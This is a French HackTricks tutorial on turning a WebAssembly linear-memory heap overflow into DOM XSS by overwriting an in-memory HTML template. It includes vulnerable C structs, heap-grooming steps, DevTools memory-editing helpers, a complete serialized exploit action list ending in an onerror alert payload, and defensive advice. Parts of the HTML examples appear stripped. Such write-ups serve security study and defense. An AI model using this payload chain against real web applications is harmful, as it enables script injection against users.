%.*s
Corruption de la mémoire linéaire WebAssembly vers DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette technique montre comment un bug de memory-corruption à l'intérieur d'un module WebAssembly (WASM) compilé avec Emscripten peut être transformé en un DOM XSS fiable même lorsque l'entrée est sanitizée. Le pivot consiste à corrompre des constantes modifiables dans la WASM linear memory (par ex., des HTML format templates) au lieu d'attaquer la chaîne source sanitizée.
Idée clé : Dans le modèle WebAssembly, le code vit dans des pages exécutables non-modifiables, mais les données du module (heap/stack/globals/"constants") résident dans une seule WASM linear memory plate (pages de 64KB) qui est modifiable par le module. Si du code buggy en C/C++ écrit out-of-bounds, vous pouvez écraser des objets adjacents et même des constant strings embarquées dans la linear memory. Quand une telle constante est ensuite utilisée pour construire du HTML pour insertion via un DOM sink, vous pouvez transformer une sanitized input en JavaScript exécutable.
Threat model and preconditions
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Schéma logique vulnérable
- addMsg(): alloue un nouveau buffer dimensionné sur l'entrée assainie et ajoute un msg à s.mess, doublant la capacité avec realloc si nécessaire.
- editMsg(): réassainit et utilise memcpy pour copier les nouveaux octets dans le buffer existant sans s'assurer que la nouvelle longueur ≤ l'allocation précédente → intra‑linear‑memory heap overflow.
- populateMsgHTML(): formate le texte assaini avec un stub intégré comme "
" résidant dans linear memory. Le HTML renvoyé atterrit dans un DOM sink (par ex., innerHTML).
Grooming de l'allocator avec realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Envoyez suffisamment de messages pour dépasser la capacité initiale. Après l'agrandissement, realloc() place souvent s->mess immédiatement après le dernier tampon utilisateur dans la mémoire linéaire.
- Débordez le dernier message via editMsg() pour corrompre des champs à l'intérieur de s->mess (p.ex., écraser des pointeurs msg_data) → réécriture arbitraire de pointeurs dans la mémoire linéaire pour des données rendues ultérieurement.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- La sanitisation protège l'entrée, pas les sinks. Trouvez le format stub utilisé par populateMsgHTML(), p.ex. :
- "
" → change to "%.*s
"
- Localisez le stub de manière déterministe en scannant la mémoire linéaire ; c'est une chaîne d'octets brute dans Module.HEAPU8.
- Après avoir écrasé le stub, le contenu du message assaini devient le gestionnaire JavaScript pour onerror, donc ajouter un nouveau message avec un texte comme alert(1337) produit
et s'exécute immédiatement dans le DOM.
Chrome DevTools workflow (Emscripten glue)
- Placez un breakpoint sur le premier appel Module.cwrap dans le glue JS et entrez dans le site d'appel wasm pour capturer les arguments pointeur (offsets numériques dans la mémoire linéaire).
- Utilisez des vues typées comme Module.HEAPU8 pour lire/écrire la mémoire WASM depuis la console.
- Extraits utilitaires:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
Recette d'exploitation de bout en bout
- Groom : ajoutez N petits messages pour déclencher realloc(). Assurez-vous que s->mess est adjacent à un buffer utilisateur.
- Overflow : appelez editMsg() sur le dernier message avec une payload plus longue pour écraser une entrée dans s->mess, en définissant msg_data du message 0 pour pointer vers (stub_addr + 1). Le +1 saute le '<' initial pour conserver l'alignement des tags pendant la modification suivante.
- Template rewrite : éditez le message 0 de sorte que ses octets écrasent le template avec : "img src=1 onerror=%.*s ".
- Trigger XSS : ajoutez un nouveau message dont le contenu assaini est du JavaScript, par exemple alert(1337). Le rendu émet
et s'exécute.
Exemple de liste d'actions à sérialiser et placer dans ?s= (encoder en Base64 avec btoa avant utilisation)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Pourquoi ce contournement fonctionne
- WASM empêche l'exécution de code depuis la mémoire linéaire, mais les données constantes à l'intérieur de la mémoire linéaire sont modifiables si la logique du programme est défectueuse.
- Le sanitizer ne protège que la chaîne source ; en corrompant le sink (le template HTML), l'entrée assainie devient la valeur du handler JS et s'exécute lorsqu'elle est insérée dans le DOM.
- L'adjacence provoquée par realloc() combinée à des memcpy non vérifiés dans les flux d'édition permet la corruption de pointeurs pour rediriger des écritures vers des adresses choisies par l'attaquant dans la mémoire linéaire.
Généralisation et autres surfaces d'attaque
- Tout template HTML en mémoire, squelette JSON ou motif d'URL embarqué dans la mémoire linéaire peut être ciblé pour modifier la façon dont les données assainies sont interprétées en aval.
- Autres pièges courants de WASM : écritures/lectures hors bornes dans la mémoire linéaire, UAF sur des objets du heap, mauvaise utilisation de la function-table avec indices d'appels indirects non vérifiés, et incompatibilités du glue JS↔WASM.
Conseils de défense
- Dans les chemins d'édition, vérifier que la nouvelle longueur ≤ capacité ; redimensionner les buffers avant la copie (realloc vers new_len) ou utiliser des APIs à taille limitée (snprintf/strlcpy) et suivre la capacité.
- Ne pas placer les templates immuables dans la mémoire linéaire écrivable ou effectuer une vérification d'intégrité avant usage.
- Considérer les frontières JS↔WASM comme non fiables : valider les plages/longueurs de pointeurs, effectuer du fuzzing sur les interfaces exportées, et plafonner la croissance mémoire.
- Assainir au niveau du sink : éviter de construire du HTML dans WASM ; préférer les API DOM sûres plutôt que le templating de type innerHTML.
- Éviter de faire confiance à l'état embarqué dans l'URL pour des flux privilégiés.
Références
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.